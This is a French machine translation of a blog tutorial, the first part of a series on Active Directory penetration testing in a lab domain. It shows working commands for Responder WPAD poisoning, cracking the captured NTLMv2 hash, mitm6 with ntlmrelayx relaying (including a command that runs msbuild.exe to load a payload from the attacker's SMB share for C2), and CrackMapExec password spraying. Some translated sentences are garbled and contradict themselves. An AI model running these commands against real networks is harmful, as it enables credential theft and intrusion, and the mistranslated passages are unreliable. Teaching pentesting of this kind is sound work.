Pentest Active Directory. Partie 1

La traduction de l'article a été préparée spécialement pour les étudiants du Pentest. Pratique des tests de pénétration . "




J'ai eu plusieurs clients qui sont venus me voir avant le pentest avec la certitude qu'ils étaient en bonne forme, car leur analyse de vulnérabilité n'a pas montré de vulnérabilités critiques, et qu'ils étaient prêts pour le pentest, uniquement pour que je reçoive les droits d'administrateur de domaine en quinze minutes, profitant simplement des erreurs de configuration dans AD.

L'une des lacunes dans l'éducation que je vois dans les tests de pénétration est un manque de sensibilisation en ce qui concerne Active Directory Pentesting (AD). Malheureusement, OSCP n'enseigne pas les tests AD, et même le cours SANS GPEN n'y touche guère. Le but de cette série est d'aider à démontrer certaines des astuces, outils et techniques que j'ai utilisés dans le passé pour réussir des pentests utilisant la MA. Il ne s'agit en aucun cas d'un guide exhaustif pour chaque méthode ou outil. Tout au long de cette série, j'utiliserai Kali Linux 2019 et travaillerai dans mon domaine factice via des machines virtuelles.

Commençons par définir une cible : l'objectif d'un test de pénétration est d'identifier tout vecteur d'attaque possible qu'un attaquant utilisera pour pénétrer dans un réseau. Il ne s'agit pas seulement d'obtenir des droits d'administrateur de domaine, puis de se déconnecter.

Maintenant que nous avons un objectif, nous devons prendre plusieurs mesures pour l'atteindre. Voici un guide visuel (approximatif) du cycle de pentesting.


Publié par: Microsoft

Synopsis : Un client vous a engagé pour exécuter un test de pénétration sur son réseau qui utilise Active Directory. On ne vous a rien donné. Vous n'avez pas d'informations d'identification, pas de limites de test, pas de passe pour entrer par la porte d'entrée, mais vous parvenez à passer derrière quelqu'un et à trouver une pièce isolée avec un téléphone IP. Vous débranchez votre téléphone IP, branchez votre ordinateur portable et vous retrouvez en ligne. Et ensuite? Mise en œuvre .

Phase I | Implémentation


Sans informations d'identification, nous ne pouvons effectuer qu'une reconnaissance limitée, et la reconnaissance aura lieu à presque toutes les étapes du cycle, mais il y a plusieurs choses que nous pouvons faire immédiatement pour prendre pied dans le réseau. Tout d'abord, puisque nous avons accès au réseau, vérifiez simplement sur quel sous-réseau nous travaillons via ifconfig ou ipconfig. Après avoir reçu l'adresse IP, exécutez la commande ping dans nmap pour voir si d'autres périphériques sont disponibles.

nmap -sn 192.168.1.1/24 

Si les appareils reviennent, vous êtes en affaires. Si vous ne recevez rien, ICMP peut être désactivé, il n'y a aucun autre périphérique sur le réseau ou parce que vous n'avez pas été authentifié, vous ne pouvez pas communiquer avec d'autres périphériques et avez peut-être été bloqué par une solution de sécurité d'identité (telle que Cisco ISE). Pour les besoins de l'article, supposons que plusieurs machines reviennent et que vous pouvez les envoyer avec succès.



Outil : Répondant

Ensuite, nous utiliserons un outil appelé Responder , ou, si vous n'êtes pas indifférent à Windows, Inveigh . Ces deux outils recherchent une erreur très courante dans la configuration AD, ce qui conduit à la possibilité d'empoisonner WPAD et NBT-NS. Par défaut, Windows est configuré pour rechercher un fichier de configuration de proxy automatique (PAC) via la découverte automatique de proxy Web (WPAD). Il est important de noter que WPAD n'est pas le protocole qui effectue la recherche, mais juste un ensemble de procédures qui permettent au périphérique de trouver le fichier PAC. La détection automatique d'un fichier PAC est utile pour les organisations car l'appareil enverra une diffusion demandant un fichier proxy et le recevra. Cependant, bien sûr, il n'authentifie pas qui envoie le fichier proxy, ce qui permet à l'attaquant d'envoyer une fausse réponse, qui demande ensuite des informations d'identification.

Dans Kali responder est installé par défaut.

 responder -I eth0 --wpad 

Sur mon ordinateur Windows 7, j'ouvre Internet Explorer et vais sur Google, qui commence alors à rechercher le fichier WPAD. Dans Responder, je vois comment la demande est arrivée, après quoi le Répondant répond automatiquement à la demande, à la suite de quoi la victime envoie son nom d'utilisateur et son mot de passe haché (au format NTLMv2).



Il y a plusieurs choses que nous pouvons faire avec ce hachage. Nous pouvons essayer de le pirater ou de le relayer en utilisant un outil comme ntlmrelay.py . J'ai parlé de la façon de traduire les hachages ntlm dans cet article , je vais donc passer au piratage, car c'est généralement exactement ce que je fais dans la pratique.

Pour être honnête, je craque rarement les mots de passe sous Linux / Kali. J'utilise le GPU nvidia, qui ne s'installe jamais correctement sur Kali, en plus il y a un HashcatGUI sur Windows qui rend le processus beaucoup plus facile, et c'est ce que j'utiliserai. Je prends le hachage résultant, le place dans un fichier appelé "hash.txt" et y exécute plusieurs listes de mots / règles. Mais dans ce cas, je viens de rockyou.txt et il a été piraté pendant une seconde.


Mes paramètres pour HashcatGUI.


Mot de passe piraté - "Mot de passe!"

Maintenant que nous avons réussi à déchiffrer le mot de passe, nous avons les informations d'identification «Alice: mot de passe»!

Avant de continuer, il y a plusieurs autres méthodes que je voudrais montrer au cas où le Répondant ne fonctionnerait pas.



Outil : mitm6

Supposons que le réseau client utilise un fichier PAC légitime et que votre usurpation ne fonctionne pas. Il existe une autre méthode qui utilise IPv6 et DNS pour transmettre les informations d'identification à la cible. Par défaut, IPv6 est activé et est en fait préférable à IPv4. Cela signifie que si l'ordinateur possède un serveur DNS IPv6, il préférera IPv4. De plus, par défaut, les machines Windows recherchent un serveur DNS IPv6 via des requêtes DHCPv6, ce qui signifie que si nous simulons un serveur DNS IPv6, nous pouvons contrôler efficacement la façon dont l'appareil demandera DNS. En savoir plus à ce sujet ici .

Téléchargez d' abord mitm6 .

 git clone https://github.com/fox-it/mitm6.git cd mitm6 pip install . 

Exécutez-le ensuite sur le groupe de travail du réseau cible. Comme nous avons précédemment lab.local au réseau, nous avons également obtenu les noms NetBIOS, en apprenant que le domaine cible est lab.local .

Voici à quoi ressemblaient les paramètres IP cibles avant de commencer mitm6


Faites attention à un serveur DNS
J'ai ensuite lancé mitm6

 mitm6 -d lab.local 



Et maintenant, les objectifs du serveur DNS ont changé


Notez l'adresse IPv6 comme serveur DNS.

Maintenant, la vraie vulnérabilité est que Windows préfère IPv6 plutôt que IPv4, c'est-à-dire que maintenant je contrôle DNS.

Alors maintenant, nous utilisons le fait que nous contrôlons le DNS en ntlmrelayx.py réponses WPAD via ntlmrelayx.py . J'ai écrit un guide sur la façon de l'installer.

Avec mitm6 exécuté dans une fenêtre, ouvrez-en une autre et exécutez ntlmrelayx.py

 ntlmrelayx.py -wh 192.168.218.129 -t smb://192.168.218.128/ -i 

-wh : serveur hébergeant le fichier WPAD (IP attaquant)
-t : cible (vous ne pouvez pas transférer les informations d'identification vers le même appareil que vous fabriquez)
-i : shell interactif ouvert



De là, vous pouvez vous connecter au système de contrôle et de surveillance (C2) de votre choix. Dans ce cas, j'utilise SILENTTRINITY, donc j'utilise la commande -c pour exécuter ma commande, qui dans ce cas utilise MSBuild pour créer ma charge utile malveillante.

 ntlmrelayx.py -wh 192.168.218.129 -t smb://192.168.218.50/ --no-smb-server -c 'C:\Windows\Microsoft.NET\Framework64\v3.5\msbuild.exe \\192.168.218.129\SMB\msbuild.xml' 



Mais non, msbuild.exe ne crée pas de fichier XML dans ce cas, et je n'obtiens pas de connexion à SILENTTRINITY, car ce serait trop simple. Au lieu de cela, je regarde mon serveur SMB et vois un hachage de relais



Ce que je pirate à mon tour.



Et maintenant, nous avons les informations d'identification du réseau sans utiliser de répondeur.



Outil : CrackMapExec

CrackMapExec est essentiellement un couteau pentester suisse. Des attaques par pulvérisation de mots de passe et des transferts de hachage à l'exécution de commandes, il devrait figurer dans chaque ensemble d'outils pour les pentesters.

Si tout le reste échoue, nous pouvons essayer d'utiliser une attaque par pulvérisation par mot de passe. Il y a une raison pour laquelle cette méthode est la dernière, et c'est à cause d'un verrouillage par mot de passe. Le blocage des mots de passe n'est pas aussi courant que vous le pensez, ce qui permet à un attaquant d'utiliser une attaque par dictionnaire par nom d'utilisateur. L'obtention d'un nom d'utilisateur est la première étape qui peut être effectuée via OSINT et avec theHarvester. Si nous n'avons pas de nom d'utilisateur OSINT, nous pouvons également donner à CrackMapExec (CME) une liste de noms d'utilisateurs, mais pour gagner du temps, supposons que nous avons un nom d'utilisateur rsmith .

Si vous êtes à Kali, CrackMapExec devrait déjà être installé, si vous utilisez une version plus récente, mais sinon, vous pouvez l'installer

 apt-get install crackmapexec 

Étant donné qu'à la suite de l'analyse, nous avons trouvé l'appareil sur le réseau, nous pouvons donner au CME une liste de mots de passe associés au nom d'utilisateur et essayer de se connecter.

 crackmapexec smb 192.168.218.40 -d lab.local -u rsmith -p ~/Documents/wordlists/fasttrack.txt --shares 

Après quelques secondes, le mot de passe est trouvé.



Identifiants trouvés!

Cela peut sembler trop CTF, mais saison: l'année est une combinaison extrêmement populaire de mots de passe.

Avec ces informations d'identification obtenues, nous avons maintenant un compte d'utilisateur. Nous allons passer à l'escalade de privilèges dans la deuxième partie .

Source: https://habr.com/ru/post/fr481348/


All Articles